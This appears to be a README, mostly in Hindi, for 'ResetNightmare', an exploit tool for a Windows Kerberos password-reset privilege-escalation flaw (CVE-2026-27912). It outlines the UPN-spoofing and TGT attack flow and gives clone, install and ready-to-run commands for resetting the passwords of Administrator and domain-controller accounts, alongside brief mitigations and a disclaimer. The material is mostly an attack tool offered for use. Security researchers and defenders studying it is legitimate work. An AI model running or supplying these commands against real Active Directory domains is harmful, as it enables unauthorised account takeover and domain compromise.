Kerberos-CVE-2026-27912

CVE-2026-27912 - विंडोज़ केर्बेरोस विशेषाधिकार उन्नयन भेद्यता

ResetNightmare - केर्बेरोस चेंज पासवर्ड प्रोटोकॉल की खामी के माध्यम से अनधिकृत पासवर्ड रीसेट

📋 विवरण

🔍 हमला प्रवाह

1. Attacker has/creates account with UPN write permissions
2. Sets fake UPN to target's sAMAccountName
3. Requests TGT with NT-ENTERPRISE name type
4. Clears their own UPN
5. Uses TGT to reset target's password
6. Verifies password change success

📦 आवश्यकताएँ

• पॉवरशेल के साथ विंडोज़
• ActiveDirectory मॉड्यूल (Install-WindowsFeature RSAT-AD-PowerShell)
• Rubeus.exe (GhostPack/Rubeus से डाउनलोड करें)
• डोमेन कंट्रोलर तक नेटवर्क पहुँच

🚀 स्थापना

# Clone repository
git clone https://github.com/oxstussz-eng/Kerberos-CVE-2026-27912.git
cd Kerberos-CVE-2026-27912

# Install dependencies
pip install -r requirements.txt

💻 उपयोग

मूल हमला

python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass

लक्ष्य कंप्यूटर खाता

python resetnightmare.py -t DC01$ -p NewPass123 -u AttackUser -up AttackPass -c

नया खाता बनाएँ

python resetnightmare.py -t Admin -p NewPass -u NewUser -up Pass -path "OU=Temp,DC=domain,DC=local"

वर्बोज़ मोड

python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass -v

📊 आर्ग्युमेंट्स

🛡️ शमन

1. आधिकारिक पैच लागू करें Microsoft सुरक्षा अद्यतन से
2. नेटवर्क सेगमेंट करें ताकि निकटवर्ती नेटवर्क पहुँच सीमित हो
3. न्यूनतम विशेषाधिकार लागू करें - UPN लेखन अनुमतियाँ प्रतिबंधित करें
4. निगरानी करें संदिग्ध UPN परिवर्तनों और पासवर्ड रीसेट की

⚠️ अस्वीकरण

केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक अनुसंधान के लिए।

कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक इस सॉफ़्टवेयर के दुरुपयोग के लिए कोई दायित्व नहीं लेता है।

📚 संदर्भ

• NVD: CVE-2026-27912
• Microsoft सुरक्षा अद्यतन मार्गदर्शिका

👨‍💻 लेखक

n0vax1337 / सुरक्षा शोधकर्ता

📄 लाइसेंस

MIT लाइसेंस - देखें LICENSE

अंतिम अद्यतन: 2026